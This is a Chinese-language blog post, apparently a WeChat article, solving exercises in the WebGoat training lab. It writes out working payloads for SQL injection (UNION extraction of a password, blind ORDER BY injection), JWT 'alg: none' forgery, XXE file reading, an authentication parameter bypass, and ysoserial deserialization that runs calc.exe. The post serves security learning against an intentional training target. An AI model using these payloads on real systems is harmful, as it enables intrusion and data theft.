安装
windows安装
需要代码审计,直接在下载地址下载文件,将下载的webgoat.jar文件移动到文件夹中,将文件夹用IDEA打开
-
运行前提:需要java11环境
-
下载地址:https://github.com/WebGoat/WebGoat
-
启动命令:java -jar webgoat.jar
-
指定端口启动:java -jar webgoat.jar --server.port=8000 --server.address=127.0.0.1
-
指定8000端口,ip地址为127.0.0.1
-
地址:http://IP:8000/WebGoat/login
使用docker
-
下载:docker pull webgoat/webgoat-8.0
-
启动:docker run -d -p 8080:8080 webgoat/webgoat-8.0:latest
-
地址:http://IP:8080/WebGoat/login
sql注入
intro-10
sql注入(intro)-10
-
查找语句:SELECT * FROM user_data WHERE login_count = Login_Count AND userid =User_ID
-
运行结果:SELECT * From user_data WHERE Login_Count =1 and userid= 123456
-
Login_Count字符型,User_ID数字型
-
payload:Login_Count=1,User_ID=1 or 1=1
-
如果,Login_Count=1 or 1=1,User_ID=123456,那么运行语句为:SELECT * From user_data WHERE Login_Count = 1 or 1=1 and userid= 123456,此时Login_Count = 1 or 1=1判定为true,true and userid= 123456,判定为假,故无法使用Login_Count注入
advanced-3
题目意思:给user_date,user_system_data,得到dave密码
-
输入框中字段名字(name),密码(password)
-
题目中name在user_date表中查,password在user_system_data中查询,需要用union爆出user_system_data表的数据
-
payload:' or true union select 1,'2','3','4','5',password,7 from user_system_data where user_name='dave'--
执行结果
执行解释
-
带入数据库执行语句:SELECT * FROM user_data WHERE last_name = '' or true union select 1,'2','3','4','5',password,7 from user_system_data where user_name='dave'--
-
一共七个字段:1,’2′,’3′,’4′,’5′,password,7,对应不同类型(字符型加单引号,数字型不加引号)
-
先查询(SELECT * FROM user_data)user_data所有数据,在查询user_system_data表的password字段当名字为dave时内容,然后注释后面内容
-
结果是输出user_data表所有内容,再输出dave的密码(passW0rD)
提示说还有一种方法,表达的意思应该是联合注入
得到密码
payloda:222';select password from user_system_data where user_name='dave'--
advanced-5
注册窗口存在注入点
and ‘1’=’1
and ‘1’=’2
剩下的就是报错注入
mitigation-12
点击小图标进行排序
按照ip进行排序
-
预编译绕过:通过使用 case when 语句可以将 order by 后的 orderExpression 表达式中添加 select 语句,类似于堆叠注入,但是必须存在order by
-
绕过方式:select * from test where id=? order by case (when (true/false) then sno else age end),在when中推荐逻辑语句进行判断
-
例:?column=case when (select substr(ip,1,1)='0' from servers where hostname='webgoat-prd')then hostname else mac end
-
得到运行结果看按照什么排序即可判断正误
-
payload:104.130.219.202
webgoat代码
身份验证
身份验证绕过
将secQuestion0,secQuestion1改为secQuestion2 secQuestion3(非1,2即可,但需要包含secQuestion)
得到返回值为true
如果参数名包含”secQuestion”,则将参数名作为userAnswers的key,参数值作为value存入。但是没有判定参数名后面的数字是否原先设置好的数字,所以我们给一个没有出现过得并且能通过验证的key即可
代码说明图
JWT token-3
题目意思是让我们越权为admin用户
选择用户为tom
数据包
抓取更换用户数据包,将jwt部分解密
将”alg”: “HS512″,”admin”:”flase”修改为”alg”: “none”,”admin”:”true”,并且将密钥部分删除,达到越权
说明图
-
https://jwt.io/平台认为将alg修改为none为恶意行为,所以无法修改
-
注意:alg的表示的时间戳、将密钥部分删除
-
签名算法被修改为none,服务端接收到token后会将其认定为无加密算法
将”alg”: “HS512″,”admin”:”flase”修改为”alg”: “none”,”admin”:”true”,并且将密钥部分删除,达到越权
返回数据包
XXE-2
评论数据包
明显的xxe注入攻击,可以构造payload
<?xml version="1.0"?><!DOCTYPE my [<!ENTITY root SYSTEM "file:///">]><comment><text>&root;</text></comment>
XXE-7
数据包说明图
题目意思是可以接收json的数据包可能也可以接收xxe类型的数据,但是注意数据格式需要换(content-type)
数据包
不安全的反序列化
题目
根据序列化数据特征:开头rO0A可得为base64加密后结果
白盒审计
-
直接利用java插件漏洞生成payload
-
运行ysoserial工具:java -jar ysoserial.jar
-
hibernate5的插件:java -Dhibernate5 -cp hibernate-core-5.4.6.Final.jar
-
生成Hibernate1插件反序列化漏洞的payload,执行calc.exe命令,将payload保存在token.bin文件中:ysoserial.jar ysoserial.GeneratePayload Hibernate1 calc.exe > token.bin
-
payload生成了,但是还需要经经过base64加密,使用python加密
import base64
filename = input("输入需要base64编码的文件名:")
s = open(filename, "rb").read()
#文本默认模式读取文件内容rt
base64_str = base64.urlsafe_b64encode(s)
#文本默认模式写入文件内容wt
open("base64.txt", "wt",encoding="utf-8").write(base64_str.decode())
将输出结果为在cmd界面调用计算器
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):WEBGOAT靶场
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论